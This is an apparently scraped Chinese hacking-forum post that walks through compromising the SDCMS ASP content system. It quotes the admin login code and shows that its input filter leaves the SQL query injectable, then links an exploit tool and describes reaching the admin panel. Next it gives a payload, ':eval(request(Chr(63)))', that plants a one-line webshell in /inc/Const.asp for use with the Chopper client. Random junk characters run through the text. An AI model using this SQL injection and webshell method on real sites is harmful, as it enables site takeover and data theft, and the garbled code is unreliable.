作者:T00LS 鬼哥
; x$ v4 {( Y4 X _1 e9 x漏洞文件:后台目录/index.asp
6 C( p/ K) S; w; g( L
4 [3 O. I' ~! L0 w9 MSub Check
0 h* B6 P& l% w* }2 h0 |' \) F! K Dim username,password,code,getcode,Rs0 g5 O# w# H6 O6 P4 G, L
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub+ B0 d+ w" g( K* }
username=FilterText(Trim(Request.Form("username")),1)
& l, P" q3 K9 Z* z password=FilterText(Trim(Request.Form("password")),1)
0 L; m# F8 o8 D0 M6 F code=Trim(Request.Form("yzm"))1 i0 i% Q9 M0 m" n, ~! [5 D; l3 r. n
getcode=Session("SDCMSCode")0 j5 }7 a3 G) o H. | r% ?
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died; A* Z& ^ A+ F2 i1 ]% J
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
. d1 |% V4 f. b4 ^4 E$ D! { IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
0 G: o3 E$ ?) w& i$ q% r IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
- W8 A! C& {( ~6 f; ?$ I IF username="" or password="" Then; J0 N, z9 {% @% A. Y9 p. j) t* ~
Echo "用户名或密码不能为空" ied
6 L2 ]! E% W* v4 M" P Else
1 M# a, r1 F" v; h; Z& J Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")& e* e, Z/ C2 L6 F l8 _( R
IF Rs.Eof Then
, ^5 @& j" ~+ Z9 m, [! f8 M AddLog username,GetIp,"登录失败",1: Y& [# a9 [; X; g
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"- K4 R$ X q$ c1 C" p
Else
- P4 G+ v0 m4 v9 Z# ~% Z Add_Cookies "sdcms_id",Rs(0)2 }5 R( {! O! U$ u" a
Add_Cookies "sdcms_name",username. ]7 [/ W$ T- d9 W
Add_Cookies "sdcms_pwd",Rs(2)& X3 R7 Z+ l# {8 l* V! U" l. T
Add_Cookies "sdcms_admin",Rs(3)
3 h9 a5 ^; n+ N) n1 X# u4 P8 S Add_Cookies "sdcms_alllever",Rs(4)
5 V$ Z" E" a. u Add_Cookies "sdcms_infolever",Rs(5)
) w y" j0 t8 L+ W2 W Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")- \* b/ l3 n* B% `5 y1 W2 o0 u
AddLog username,GetIp,"登录成功",1
" S- A1 u% |7 n( @4 w, O# ?! i8 L) o '自动删除30天前的Log记录
6 x9 d) k) ^; V3 M ` IF Sdcms_DataType Then
6 i# v& H! V" U( [2 L, X* c Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
+ b. F( }! @/ I! B Else: e+ _; a) R( ?, [# \+ n' q
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
1 M8 X8 S/ f: n3 I# z7 a End IF; y5 _( n2 E+ X3 U) }) y
Go("sdcms_index.asp")
' i5 G) {. r9 l, u4 U7 k End IF
# P! S7 ?/ f. P3 Y Rs.Close
8 g7 N8 C( d$ I Set Rs=Nothing
& K( W! U1 _* b/ T End IF* D, f' d* ]9 `+ r$ m- I$ v- n" @
End Sub
1 _+ S7 j/ j2 z$ }: L& ]; g5 m9 r% b* n8 y0 q
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
0 c/ ~5 m' B. I* E+ t6 f& a* o) j4 d! E0 ? h
Function FilterText(ByVal t0,ByVal t1)
% K# F$ L( A8 b/ V: v+ x3 m IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function( K. ~, F/ I' b% s1 f; Y; w# J
t0=Trim(t0) B8 U- S* e9 ]8 a, b
Select Case t1
/ N7 e5 D6 N3 |2 h( c0 p: e Case "1"
" p! l4 L: m4 B! m) y/ i t0=Replace(t0,Chr(32),"")
$ I# d$ ?7 S0 l4 y" w# y8 x. K t0=Replace(t0,Chr(13),"")
; v+ S5 J4 [+ Q; Y1 W: `3 X t0=Replace(t0,Chr(10)&Chr(10),"")
+ T6 e p) t" V; i8 e t0=Replace(t0,Chr(10),"")9 H- w" e+ b& d2 ?4 E
Case "2"/ u1 b0 t9 s7 `9 v( o- u! k
t0=Replace(t0,Chr(8),"")'回格
) N6 \9 `% V8 Q$ Q t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) @' ?3 B5 N4 j t0=Replace(t0,Chr(10),"")'换行- ?4 B: m7 G2 G
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)! e5 {0 L# X. L0 a* m9 \. p. @
t0=Replace(t0,Chr(12),"")'换页
- I3 P* l5 E& Y t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
" |7 ?; s1 e5 C t0=Replace(t0,Chr(22),""): d0 [! Z+ P1 Y6 |1 V
t0=Replace(t0,Chr(32),"")'空格 SPACE
, U+ I( J' O2 O: a9 o; I t0=Replace(t0,Chr(33),"")'!- j2 a ]5 a4 u7 V+ P
t0=Replace(t0,Chr(34),"")'"* ]" ^ h2 \5 R
t0=Replace(t0,Chr(35),"")'#" b& S5 i, W: e- X
t0=Replace(t0,Chr(36),"")'$- V1 |# m& L& s" W' c) Q8 U7 l
t0=Replace(t0,Chr(37),"")'%: v; ?* m2 f! C, K b, h# w v
t0=Replace(t0,Chr(38),"")'&4 f" b3 d2 K4 _( D/ k
t0=Replace(t0,Chr(39),"")''
3 c: y5 a0 R' y& Q7 Z t0=Replace(t0,Chr(40),"")'(* b! [5 \2 A& y; l4 L/ t
t0=Replace(t0,Chr(41),"")')- j2 ~& k* s$ b% y
t0=Replace(t0,Chr(42),"")'*# c' ]: l0 J3 B
t0=Replace(t0,Chr(43),"")'+
% ~3 Z+ P8 V- j- ]$ f t0=Replace(t0,Chr(44),"")',
5 J. \* N5 }. k t0=Replace(t0,Chr(45),"")'-
% {6 @8 H; l; U4 d t0=Replace(t0,Chr(46),"")'.
* H3 f* b, E- ^8 B t0=Replace(t0,Chr(47),"")'/0 v4 `! N. }) p( W" s* f
t0=Replace(t0,Chr(58),"")': o9 u1 \* I! u& r5 J
t0=Replace(t0,Chr(59),"")';1 a: J5 P% `2 W9 O; d
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
2 H" I% X5 X1 e t0=Replace(t0,Chr(63),"")'?! r+ W* h' `. L* o( J( N/ r1 {
t0=Replace(t0,Chr(64),"")'@' B' V7 R5 D& |' {# J2 p' ]$ l9 P
t0=Replace(t0,Chr(91),"")'\
! O1 k% } q; s( N" M t0=Replace(t0,Chr(92),"")'\0 C2 {: ^, I( A; k
t0=Replace(t0,Chr(93),"")']
7 B7 |9 I0 [" ~& B- C2 [+ {5 }/ o t0=Replace(t0,Chr(94),"")'^9 y8 o/ D. n: H D; U+ w
t0=Replace(t0,Chr(95),"")'_
G( @, n9 B1 s2 c* i% F) p4 l1 ?$ k t0=Replace(t0,Chr(96),"")'`
# _! X3 F/ l( a$ K; m; K t0=Replace(t0,Chr(123),"")'{+ D+ N! @* _, L) F
t0=Replace(t0,Chr(124),"")'|
) r8 f) L4 H; e: }& E8 ` t0=Replace(t0,Chr(125),"")'}
) S: U% O1 Q- g5 H5 H* { t0=Replace(t0,Chr(126),"")'~
! [6 U, p6 f1 J5 g+ B+ j Case Else5 [" `. N$ \* \9 E7 Z! O
t0=Replace(t0, "&", "&")
, M% Y* p: T. \$ u& s3 o t0=Replace(t0, "'", "'")) l, ~3 o' f$ u7 P# ^: `6 y0 N
t0=Replace(t0, """", """)
# ~% y: J4 F9 j2 | t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
`6 t# S5 D& I+ J End Select
; ^! _6 j! ^" H r IF Instr(Lcase(t0),"expression")>0 Then
" Z1 K0 X3 c$ U3 {# i# d' v t0=Replace(t0,"expression","e­xpression", 1, -1, 0)0 g8 D' {% N- F4 s; g
End If
; p- Y3 A# d& e5 `6 i FilterText=t0" X7 m% B- ^4 q' z$ n4 |# w
End Function! ~, C1 U) r) d7 R
3 i# Z# x" s0 x$ o' h
看到没。直接参数是1 只过滤
+ {! v2 [: h t t0=Replace(t0,Chr(32)," ")
+ x( d1 z+ {1 @' y9 t% s! |4 j R t0=Replace(t0,Chr(13),"")
' w4 c+ n, N2 ]0 \ t0=Replace(t0,Chr(10)&Chr(10),"8 e% |9 E" x8 p3 C5 h$ x2 [
")
' Z1 X) c _7 T7 X v! F) h! ] t0=Replace(t0,Chr(10),"
3 @+ n0 Z; b6 W. l1 @4 ~# m: W5 l")
3 L, x0 W* |& m m/ T' j+ {漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
) X1 {* B9 \6 O; M5 i1 ]% V0 Q1 ]EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP' M- K. E- X9 b$ @
6 Q4 C" M6 e9 D& a$ ?# p测试:
( y# v8 ], d3 ?! X$ j2 M9 j7 o: Y8 I) U
3 ?6 N1 J, J5 _; w8 Y) c
现在输入工具上验证码,然后点OK" o5 x/ Z+ e. | r$ U( m- P
# {' |' W9 F/ Z# T4 \
% E- k, h# x9 j2 h
看到我们直接进入后台管理界面了,呵呵!. W2 z& e" r* ^
6 X" l$ l/ m0 U( ]
) g$ r$ S( C2 |& i0 d0 {; h' `. \
; o, M: }2 C, u* J) K, ]+ J) S H这样直接进入后台了。。。。
5 `8 ?: V$ Z' u" D. X
# _5 O7 w1 w' i" i U4 w# N+ n8 F
8 a. @$ R3 ?1 C5 Z8 ^) @
9 O5 {4 ~* {) M! W8 }% E7 P* \SDCMS提权:/ Z( n9 |# O9 Y; C' \
4 M2 H$ g) j" T3 I方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
! v- k, Z8 N& L! @6 [ R
. i& r- x: X6 U0 J# }3 [# l+ n. W2 Q: G, R
& B* R4 \2 m3 g, V7 ~' G# V6 B6 L
OK,现在用菜刀连接下!
. R, J3 F7 Z# ~5 J7 v. m
5 ~/ a5 Y3 p; p( B
! s- ]1 @# M L4 V4 G \5 a# j) y5 n' d6 i- q" y
1 B# T2 O; N* m! V# _ p. h. g" r
: V" _3 E% N# S. `* p |